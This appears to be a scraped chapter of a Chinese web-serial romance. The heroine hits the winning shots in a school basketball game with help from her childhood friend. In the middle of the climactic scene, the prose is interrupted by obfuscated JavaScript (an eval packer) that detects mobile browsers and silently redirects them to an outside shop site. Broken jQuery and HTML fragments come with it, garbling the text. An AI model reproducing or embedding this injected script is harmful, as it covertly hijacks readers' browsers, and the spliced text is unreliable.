文趣网 > 都市小说 > 竹马竟然暗恋我 > 17. 终极必杀
    篮球比赛是运动会第二天下午的最后一个项目。

    篮球架静默站立,一东一西,遥遥相对。

    看台上坐满了人,彩旗在风里猎猎作响,广播里的音乐换成了节奏激烈的摇滚,鼓点一下一下地敲在每个人的心跳上。

    林清昙站在球场上,手心全是汗。

    上半场的比分让她手心发凉。

    十七比二十五,三班落后八分。

    而他们班仅有的十七分里,杨鸿昱一个人拿了十五分。

    剩下的两分是周明朗得的。

    八班的人又开始嘲讽了。

    “三班不行啊,就一个人会打?”

    “那个女生是来凑数的吧?球都接不住。”

    “算了算了,别把人家小姑娘欺负哭了,留点面子。”

    那些话像一根根细针,从球场的那一头扎过来,扎在林清昙的后背上。

    她在心里对自己说不要在意,但她的手气得发抖。

    上半场她几乎没碰到球。

    不是没人传给她,她跑不到位,或者跑到了但球已经传出去了。

    没日没夜的练了两天,一上场全忘了。

    她有两次投篮的机会。

    第一次,球在她手里停了一秒,她就慌了,匆忙出手,球打在篮板上弹了回来,连筐都没碰到。

    篮板被八班抢走,对方快攻得分。

    她听到身后有人“啧”了一声。

    第二次,她不敢投了,球在她手里攥了两秒,她传给了杨鸿昱。

    传得太急,球从他指尖滑过去,出界了。

    失误算在她头上。

    她低着头跑回自己的位置,不敢看任何人。

    中场休息的哨声响起的时候,林清昙觉得这哨声是在救她的命。

    她走到场边,拿起毛巾盖在头上,蹲了下来。她把脸埋在膝盖里,蜷缩成小小的一团。

    “不怪你。”宋初夏的声音从头顶落下来,“你本来就是被拉去参加比赛的。要怪就怪那帮男生不行,连个球都传不好。”

    林清昙从毛巾底下露出一只眼睛,无力地笑了一下。

    宋初夏的话是在安慰她,她知道。

    可是她还是忍不自责,自己为什么会那么差劲,为什么总是跟不上队伍的节奏。

    “我哪里不行了?”周明朗的声音从旁边插进来,“明明就是有人拖后腿。战术跑了多少遍了,上场就忘,球也接不住,站位也不会。我哪里不行了?”

    他没有看林清昙,但每一句话都像是对她说的。

    林清昙把脸重新埋进膝盖里,毛巾从头上滑下来,落在脚边。

    “你行?你行你倒是得分啊!”宋初夏瞬间炸毛,像一只护崽的母鸡张开了翅膀,挡在林清昙面前,“你打了半场得了两分还是罚球,你好意思说别人?”

    “我那是因为——”

    “因为什么?因为你也不行!”

    两个人拌嘴的声音越来越大,周明朗的脸涨得通红,宋初夏的眼睛瞪得像铜铃,两个人就这么僵持,谁都不肯让谁。

    林清昙蹲在那里,听着他们吵架。

    她在想,如果她不是被拉去参加比赛的,如果她真的有篮球天赋,如果她的投篮不是只有在没有防守、没有压力、没有时间限制的时候才会进,那该多好。

    可惜没有如果。

    她就是一个连球都接不住的,跑位永远慢半拍的,只能在场上当摆设的替补。

    不,她连替补都不如。

    替补至少不用上场被人笑。

    吵着吵着,周明朗的声音忽然小了。

    宋初夏的声音也小了。

    杨鸿昱站了起来。

    他从长椅上站起来,走向林清昙:“林清昙,站起来。”

    他向林清昙伸出手。

    他逆着光。

    林清昙看不出他的表情,不知道他是不是在生气。

    杨鸿昱说:“我昨天说的话忘记了?”

    你是我们的秘密武器。

    林清昙摇头:“没有。”

    “那就起来,好好准备下半场。”

    “我……”

    “起来,相信你自己,林清昙。”

    她看着他的眼睛。

    被他眼中的情绪感染,迟疑了一下,她伸出手,握住他的手:“我一直都相信我自己。”

    林清昙最擅长的事,就是把不可能变成可能。

    杨鸿昱把林清昙拉了起来。

    阳光穿过两个人手指间的缝隙,定格在这一瞬。

    林清昙深吸一口气,走进球场。

    下半场的哨声响了。

    比赛重新开始。

    八班的人还在嘲讽。

    但林清昙没有看他们,她只看着杨鸿昱。

    她跟着杨鸿昱的节奏走。

    杨鸿昱过了一个人,又过了一个人,八班的两个防守队员被他甩在身后。

    然后他停了下来。

    站在三分线内,面前是八班最高的那个男生,伸着双手,像一堵墙。

    杨鸿昱没有投篮,他把球往左边一拨,传了出去。

    球从那个高个子男生的腋下穿过,擦着他的球衣飞过去,没有一丝偏差地飞到了站在三分线附近的林清昙手里。

    因为上一场林清昙打的太菜,没人防她。

    林清昙接住了球。

    屈膝,举球,手腕用力。

    球从她指尖飞出去的那一刻,她的心里没有任何杂念。

    什么都没有。

    只有球和篮筐,只有她从无数个傍晚的练习中熟悉到不能再熟悉的抛物线。

    唰。

    入网。

    三分。

    看台上爆发出一阵尖叫。

    林清昙不知道那是不是给自己的。

    她转过身,往回跑。

    经过杨鸿昱身边的时候,她听到他说了一句话。

    “站那儿别动,没人会防你。”

    她点头,耐心等待下一次进攻。

    杨鸿昱又突破,又分球,又传到了林清昙手里。

    这次她在弧顶,面前没有人,八班的防守全扑在杨鸿昱身上了,他们终于意识到这个女生会投篮,但已经来不及了。

    林清昙出手。

    唰。

    又一个三分。

    十七比二十五,变成了二十三比二十五。

    分差从八分缩到了二分。

    看台上的尖叫声更大了,有人开始喊“林清昙”的名字,声音从看台的各个角落涌出来,灌进她的剧烈跳动的心脏里。

    八班叫了暂停。

    他们的教练,戴着哨子的体育老师,在对着队员喊:“防那个女生!她投篮准!别让她接球。”

    暂停回来。

    八班的人开始防她了。

    有人贴着她,紧跟她的每一步。

    她的体能已经消耗了大半,三千米的疲劳还没完全恢复,腿像灌了铅,每一步都要用力往下踩才能踩实。

    她接不到球了。

    但杨鸿昱开始拿分了。

    八班的人去防林清昙,他就没人防了。

    他突破,上篮,得分。

    他急停,跳投,得分。

    他在三分线外一步远的位置出手,球划过一道平平的弧线,打板入框,得分。

    分差在缩小。

    二十五比二十七,二十七平,二十九比二十七,反超。

    八班的人急了。

    他们的动作越来越大,推人,拉人,撞人。哨声频繁地响起来。

    杨鸿昱站在罚球线上,两罚全中。

    三十一比二十七。

    看台上三班的同学们已经站起来了,有人在挥舞班旗,有人在吹哨子,有人把双手拢在嘴边当喇叭在喊“三班加油”。

    但八班又追了上来。

    他们的核心球员连拿五分,比分变成三十一比三十二。

    三班落后一分。

    计时器上的数字在跳动。

    一分三十秒。

    一分十五秒。

    五十八秒。

    杨鸿昱抢断,传球,周明朗上篮得分。

    三十三比三十二。

    再次反超。

    八班进攻,投篮不中,篮板被杨鸿昱抢到。

    他运球过半场,时间在走。

    三十八秒。

    三十二秒。

    二十八秒。

    他没有传球。

    他运球,往内线突破,吸引了两个人的防守,然后他跳了起来。

    八班的人全都过去防杨鸿昱。

    当球飞起来时,八班的才意识他们被耍了!

    那是一个假动作!!

    不是投篮,是传球。

    球从人群中飞出来,越过所有人的头顶,飞向三分线外。

    飞向站在那里的林清昙。

    时间在那一刻被拉得很长很长。

    球在半空中旋转着,棕色的球皮上能看清每一道纹路,球面上有无数光线在跳动着,像一颗正在燃烧的小太阳。

    所有人的目光都跟着那个球。

    看台上站着的、坐着的、举着手机的、喊着加油的,八班替补席上攥着拳头的、咬着嘴唇的、捂着眼睛不敢看的,球场上周明朗张着嘴、宋初夏捂着胸口、孟奕涵默默祈祷……所有人的目光都追着那个球。

    林清昙看着球朝自己飞过来。

    她伸出手。

    球落在她手心里。

    她想起那些傍晚,他站在她旁边,把球递给她,说“投一个”。

    她投了一个又一个,投到手酸,投到天黑。

    她屈膝,举球,手腕发力。

    球从她指尖飞出去的那一刻,世界安静了。

    只剩下画面在慢放。

    球在半空中旋转。

    光线把它照成一颗橘红色的流星,从她的指尖出发,越过三分线,越过罚球线,越过篮板上沿那一小块被擦得发亮的白色区域,朝着篮筐的方向飞过去。

    时间仿佛在那一刻静止了。

    看台上的所有人定格在同一个姿势,仰着头,张着嘴,眼睛追着那个球。

    周明朗站在篮下,双手半举着,像要抢篮板又像在祈祷。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17640997|205758||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    宋初夏捂住了嘴,眼眶里有什么东西在闪光。

    孟奕涵闭上了眼睛,睫毛在微微颤抖。

    杨鸿昱他没有看球,他看着她。

    哐。

    球在篮筐上弹了一下。

    在每个人心里都弹了一下。

    球弹起来,又落下去,落在篮筐的另一侧边缘上,又弹起来,又落下去。

    每弹一次,看台上就发出一声压抑的惊呼。

    等待三班的答案只有两个。

    进或不进。

    百分之五十的几率,所有人都在期待。

    最后一次弹跳,球落在篮筐的正中央,轻轻地穿过了网。

    看台上炸了。

    “我靠!!林清昙牛逼!”

    “三班牛逼!”

    “林清昙你太帅了!”

    “杨鸿昱牛逼!”

    “周明朗牛逼!”

    “林清昙你是我见过的第一个帅过男生的女孩子!!”

    “原来女生也可以像男生一样在篮球场上挥洒汗水!”

    三十四比三十二,三班赢了。

    林清昙站在原地,她的耳朵在嗡嗡响。

    她的手还举着,保持着投篮结束后的姿势,不敢相信,她真的做到了,他们真的赢了。

    她不知道自己站了多久。

    她只知道有人从她身后跑过来,抱住了她。是宋初夏。

    “你太牛了!”宋初夏的声音又尖又亮,带着哭腔,“林清昙你太牛了!三班赢了!我们赢了!”

    林清昙被她晃得站不稳,踉跄了一下。

    她侧过头。

    杨鸿昱站在她旁边,脸上全是汗,T恤的领口湿了一大片,贴在锁骨上。

    他的头发被汗水打湿了,额前的碎发黏在皮肤上,整个人看起来像刚从水里捞出来的。

    “感觉怎么样?。”他说。

    “感觉我很帅。”林清昙的声音有点哑。

    “嗯。”

    我的秘密武器。

    “林清昙。”

    “杨鸿昱。”

    两个人一同出声。

    “赢了。”

    林清昙看着他。

    阳光落在他的脸上,把他的轮廓照得很柔和。她从来没有见过他这个样子,笑着的,整张脸从一块冰变成了一汪春水,温柔得不像话。

    林清昙也跟着笑了。

    她认识他这么多年,从九岁到十七岁,从“吵死了”到“赢了”,她第一次看到他笑得这么开心。

    她这是第一次知道。

    原来杨鸿昱也是,会为一场胜利而真心高兴的少年。

    周明朗跑过来,一把搂住杨鸿昱的肩膀,差点把他撞倒。

    杨鸿昱的目光从林清昙身上收回。

    “你怎么知道她在那儿?”周明朗的声音沙哑得像吼了一整天,眼眶通红,像一只被欺负过的大狗。

    杨鸿昱看着林清昙。

    她正被宋初夏拉着转圈,短发被风吹起来,脸红红的,眼睛亮亮的,嘴角翘得老高。

    阳光落在她身上,把她整个人照成了一朵盛开的花。

    杨鸿昱说,“秘密。”

    周明朗愣了一下,撇撇嘴:“神神叨叨的。”

    林清昙被宋初夏转得头晕,笑着推开她,踉跄着站稳。

    她转过身,看向杨鸿昱。

    光线正好落在他身后,把他整个人镀上了一层金色的光晕。

    他的T恤被风吹得微微鼓起,衣角在飘。

    他的头发被风吹乱了,那撮不听话的碎发又翘了起来,在空中轻轻晃着。

    操场那边喊他们的名字,让他们上台领奖。

    几位男生簇拥着林清昙上了讲台。

    林清昙作为队里唯一的女生,站在中间格外显眼。她和杨鸿昱一同捧着奖杯,此刻,她所有的荣誉都和身旁的这个人共享。

    校领导让发表获奖感言,话筒他们让给了嘴毒的杨鸿昱。

    少年面无表情,头发被微风吹乱:“一群连女生都打不过的废物。”

    话没说完,话筒没音了。

    周明朗嗷一嗓子:“谁闭麦了!把话筒打开!!八班再叫!让你们看看谁是爸爸!!”

    校长讲话:“这位同学,请你不要躁动。”

    林清昙笑出声,伸出手,比了一个耶。

    杨鸿昱看着她,嘴角弯了一下,也伸出手,比了一个耶。

    看台上有人在拍照。

    那个画面被定格在了手机里。

    橘红色的夕阳,蓝色的篮球场,两个穿着同款班服的少年少女,同时伸出手比着耶。

    一个笑得灿烂,一个笑得克制。

    一个眼睛里有光,一个眼睛里有她。

    那是他们十七岁的秋天。

    那是三班的第一个冠军。

    那是林清昙第一次发现,原来她也可以成为别人的光,不只是追着别人的光跑。

    [惨了]

    [对杨鸿昱的喜欢又加一分]

    [到底怎样才能不喜欢杨鸿昱啊]

    2018/9天气/晴